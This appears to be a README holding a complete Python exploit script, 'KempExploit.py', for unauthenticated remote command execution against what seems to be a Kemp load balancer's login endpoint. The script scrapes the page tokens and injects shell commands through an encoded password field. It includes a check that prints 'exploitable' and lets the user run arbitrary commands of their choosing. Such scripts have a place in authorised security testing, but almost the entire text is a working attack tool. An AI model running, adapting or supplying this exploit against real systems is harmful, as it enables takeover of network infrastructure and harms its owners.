README.md
Rendering markdown...
# Copyright 2025 Steven Johnson
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#!/usr/bin/env python3
import requests
import urllib3
import argparse
import textwrap
from bs4 import BeautifulSoup
from logging import exception
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser("python3 KempExploit.py -i 127.0.0.1\nOptional arguments include --port, --secure, and --verbose")
parser.add_argument("-i", "--ip", required=True, help="The URL of the web page")
parser.add_argument("-y", "--yes", default=False, action='store_true', help="Run script without asking questions")
parser.add_argument("-p", "--port", required=False, help="The port of the web page")
parser.add_argument("-s", "--secure", action="store_true", help="Enable HTTPS", default=True)
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
parser.add_argument("-c", "--command", required=False, help="The command to run")
arguments = parser.parse_args()
if arguments.secure == True:
base_connection_type = "https://"
if arguments.port == None:
base_port = 443
else:
base_port = arguments.port
else:
base_connection_type = "http://"
if arguments.port == None:
base_port = 80
else:
base_port = arguments.port
base_url = arguments.ip
# Set a default command if none is specified. This command echos "exploitable" in the response.
base_command_encoded = "%01%78%78%78%27%3b%65%63%68%6f%20%65%78%70%6c%6f%69%74%61%62%6c%65%3b%65%63%68%6f%20%27%01"
def process_string(input_str):
# Step 1: Append '; to the front and ';echo ' to the command
modified_str = '\';' + input_str + ';echo \''
# Step 2: Make sure the length is divisible by 4
while len(modified_str) % 4 != 0:
modified_str = 'x' + modified_str # Add 'x' to the front
# Step 3: Convert each character to its ASCII value, prefixed by %
ascii_encoded = ''.join([f'%{ord(char):x}' for char in modified_str])
# Step 4: Append %01 to the beginning and end
final_str = f'%01{ascii_encoded}%01'
return final_str
if not arguments.yes:
if not arguments.command:
input_string = input("Enter your shell command to send or leave blank to test: ")
else:
input_string = arguments.command
if input_string != "":
command_encoded = process_string(input_string)
else:
command_encoded = base_command_encoded
else:
if not arguments.command:
command_encoded = base_command_encoded
else:
command_encoded = process_string(arguments.command)
input_string = ""
# Step 1: GET request to /progs/homepage to pull tokens
homepage_url = f"{base_connection_type}{base_url}:{base_port}/progs/homepage"
try:
session = requests.Session()
response = session.get(homepage_url, verify=False)
except requests.exceptions.RequestException as e:
print(f"Connection failed. Check your URL, port, or SSL connection.\nThe error was: {e}")
exit(3)
except Exception as e:
print(f"An unknown error occurred.\nThe error was: {e}")
exit(3)
if response.status_code != 200:
print(f"Failed to load homepage: {response.status_code}")
print(f"Are we sure {base_connection_type}{base_url}:{base_port}/progs/homepage is reachable?")
exit(1)
# Step 2: Parse HTML and extract tokens
soup = BeautifulSoup(response.text, 'html.parser')
form = soup.find('form')
token = form.find('input', {'name': 'token'})['value']
token2 = form.find('input', {'name': 'token2'})['value']
if not arguments.yes:
proceedVerify = input("It looks like I found a target and some tokens. Do you want to proceed? [y/N]")
else:
proceedVerify = "y"
if proceedVerify != "y":
print("No action taken, exiting...")
proceedVerify = "N"
exit(0)
if not arguments.yes:
if input_string != "":
print("Running the command " + input_string)
print("The encoded command looks like: " + command_encoded)
# Step 3: Send POST request to /progs/status/login
login_url = f"{base_connection_type}{base_url}:{base_port}/progs/status/login"
#payload = {
# 'token': token,
# 'token2': token2,
# 'user': 'pwn',
# 'logsub': 'Login',
# 'pass': command_encoded
#}
# TIL: Passing a dict in session.post URL encodes command_encoded creating a double-encoding issue!
payload = f"token={token}&token2={token2}&logsub=Login&user=pwn&pass={command_encoded}"
def print_roundtrip(roundtrip_response, *args, **kwargs):
format_headers = lambda d: '\n'.join(f'{k}: {v}' for k, v in d.items())
if arguments.verbose:
print(textwrap.dedent('''
---------------- request ----------------
{req.method} {req.url}
{reqhdrs}
{req.body}
---------------- response ----------------
{res.status_code} {res.reason} {res.url}
{reshdrs}
{res.text}
''').format(
req=roundtrip_response.request,
res=roundtrip_response,
reqhdrs=format_headers(roundtrip_response.request.headers),
reshdrs=format_headers(roundtrip_response.headers),
))
login_response = session.post(login_url, data=payload, verify=False , hooks={'response': print_roundtrip})
# Output the result
print(f"Login POST status code: {login_response.status_code}")
if arguments.command:
print(f"The command {input_string} sent successfully. Use --verbose to see complete output.")
exit(0)
if input_string != "":
print(f"The command {input_string} sent successfully. Use --verbose to see complete output.")
else:
if "exploitable" in login_response.text:
print("✅ 'exploitable' found in response, server confirmed vulnerable.")
else:
print("❌ 'exploitable' not found in response.")